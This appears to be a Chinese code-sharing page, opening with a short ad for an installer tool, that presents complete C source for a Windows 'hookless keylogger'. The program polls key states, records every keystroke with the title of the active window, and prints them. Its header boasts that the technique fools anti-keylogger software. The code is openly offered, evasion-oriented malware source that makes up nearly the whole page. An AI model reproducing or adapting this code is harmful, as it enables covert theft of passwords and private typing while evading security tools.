无钩子的键盘记录例子代码
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站长推荐:NSetup一键部署软件
一键式完成美化安装包制作，自动增量升级，数据统计，数字签名。应对各种复杂场景，脚本模块化拆分，常规复杂的脚本代码，图形化设置。无需专业的研发经验，轻松完成项目部署。(www.nsetup.cn)
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//********************************************************************** // Version: V1.0 // Coder: WinEggDrop // Date Release: NULL // Purpose: Hookless Keylogger // Test PlatForm: Win 2K Pro And Server SP4 // Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet) // Limitation: More Usage Of System Resource; May Not Work On Win9x // Advantage: Hookless Technique Fools Anti-Keylogger Programs //********************************************************************** #include <windows.h> #include <stdio.h> // Some Global Variables // Lower Case Key & Some Other Keys char *LowerCase[]={ "b", "e", "[ESC]", "[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[F11]", "[F12]", "`", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[TAB]", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "[", "]", "a", "s", "d", "f", "g", "h", "j", "k", "l", ";", "'", "z", "x", "c", "v", "b", "n", "m", ",", ".", "/", "\\", "[CTRL]", "[WIN]", " ", "[WIN]", "[Print Screen]", "[Scroll Lock]", "[Insert]", "[Home]", "[PageUp]", "[Del]", "[End]", "[PageDown]", "[Left]", "[UP]", "[Right]", "[Down]", "[Num Lock]", "/", "*", "-", "+", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", ".", }; // Upper Case Key & Some Other Keys char *UpperCase[]={ "b", "e", "[ESC]", "[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[F11]", "[F12]", "~", "!", "@", "#", "\$", "%", "^", "&", "*", "(", ")", "_", "+", "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "{", "}", "A", "S", "D", "F", "G", "H", "J", "K", "L", ":", "\"", "Z", "X", "C", "V", "B", "N", "M", "<", ">", ".?", "│", "[CTRL]", "[WIN]", " ", "[WIN]", "[Print Screen]", "[Scroll Lock]", "[Insert]", "[Home]", "[PageUp]", "[Del]", "[End]", "[PageDown]", "[Left]", "[Up]", "[Right]", "[Down]", "[Num Lock]", "/", "*", "-", "+", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", ".", }; // Ascii Keys,Forget About It int SpecialKeys[]={ 8, 13, 27, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 192, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48, 189, 187, 9, 81, 87, 69, 82, 84, 89, 85, 73, 79, 80, 219, 221, 65, 83, 68, 70, 71, 72, 74, 75, 76, 186, 222, 90, 88, 67, 86, 66, 78, 77, 188, 190, 191, 220, 17, 91, 32, 92, 44, 145, 45, 36, 33, 46, 35, 34, 37, 38, 39, 40, 144, 111, 106, 109, 107, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 110, }; HWND PreviousFocus=NULL; // End Of Data // Function ProtoType Declaration //---------------------------------------------------------------------- BOOL IsWindowsFocusChange(); BOOL KeyLogger(); //---------------------------------------------------------------------- // End Of Fucntion ProtoType Declaration // Main Function int main() { KeyLogger(); // Run The Keylogger return 0; // The Program Quit } // End Of Main //------------------------------------------------------------------------- // Purpose: To Check The Active Windows Title // Return Type: Boolean // Parameters: NULL //------------------------------------------------------------------------- BOOL IsWindowsFocusChange() { HWND hFocus = GetForegroundWindow(); // Retrieve The Active Windows's Focus BOOL ReturnFlag = FALSE; // Declare The Return Flag if (hFocus != PreviousFocus) // The Active Windows Has Change { PreviousFocus = hFocus; // Save The Old Active Windos Focus int WinLeng = GetWindowTextLength(hFocus); // Get The Active Windows's Caption's Length char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // Allocate Memory For The Caption GetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // Retrieve The Active Windows's Caption if (strlen(WindowCaption) > 0) // Really Get The Windows's Caption { printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // Display The Active Windows's Caption ReturnFlag=TRUE; // Indicate The Windows's Focus Has Changed } free(WindowCaption); // Free The Allocated Memory } return ReturnFlag; // Return The Flag }// End Of IsWindowsFocusChange Function //------------------------------------------------------------------------- // Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer // Return Type: Boolean // Parameters: NULL //------------------------------------------------------------------------- BOOL KeyLogger() { int bKstate[256] = {0}; // Declare The Key State Array int i,x; char KeyBuffer[600]; // Key Buffer Array int state; // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect int shift; // Variable To Hode State Of Shift Key // Reset The Buffer memset(KeyBuffer,0,sizeof(KeyBuffer)); while(TRUE) // Forever Loop Is Taking Place Here { Sleep(8); // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UP if (IsWindowsFocusChange()) //Check The Active Windows Title { if (strlen(KeyBuffer) != 0) // Keys Are Pressed { printf("%s\r\n",KeyBuffer); // Display The Keys Pressed memset(KeyBuffer,0,sizeof(KeyBuffer)); // reset The Buffer } } for(i=0;i<92;i++) // Looping To Check Visual Keys { shift = GetKeyState(VK_SHIFT); // Check Whether Shift Is Pressed x = SpecialKeys[ i ]; // Match The Key if (GetAsyncKeyState(x) & 0x8000) // Check Combination Keys { // See Whether CapsLocak Or Shift Is Pressed if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Not Pressed { bKstate[x] = 1; //Uppercase Characters A-Z } else if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Pressed { bKstate[x] = 2; //Lowercase a-z } else if (shift < 0) // Shift Is Pressed { bKstate[x] = 3; //Uppercase Characters A-Z } else bKstate[x] = 4; //Lowercase a-z } else { if (bKstate[x] != 0) // No Combination Keys Detected { state = bKstate[x]; // Retrieve The Current State bKstate[x] = 0; // Reset The Current State if (x == 8) // Back Space Is Detected { KeyBuffer[strlen(KeyBuffer) - 1] = 0; // One Key Back Then continue; // Start A New Loop } else if (strlen(KeyBuffer) > 550) // Buffer FULL { printf("%s <Buffer Full>",KeyBuffer); // Display The Keys Retrieved memset(KeyBuffer,0,sizeof(KeyBuffer)); // Reset The Buffer continue; // Start A New Loop } else if (x == 13) // Enter Is Detected { if (strlen(KeyBuffer) == 0) // No Other Keys Retrieved But Enter { continue; // Start A New Loop } printf("%s<Enter>\r\n",KeyBuffer); // Retrieve Other Keys With Enter memset(KeyBuffer,0,sizeof(KeyBuffer)); // Display The Keys With Enter continue; // Start A New Loop } else if ((state%2) == 1) //Must Be Upper Case Characters { strcat(KeyBuffer,UpperCase[ i ]); // Store The Key To Key Buffer } else if ((state%2) == 0) // Must Be Lower Case Characters { strcat(KeyBuffer,LowerCase[ i ]); // Store The Key To Key Buffer } } } }// End Of For Loop }// End Of While Loop return TRUE; // Return To The Caller }// End Of KeyLogger Function // End Of File |
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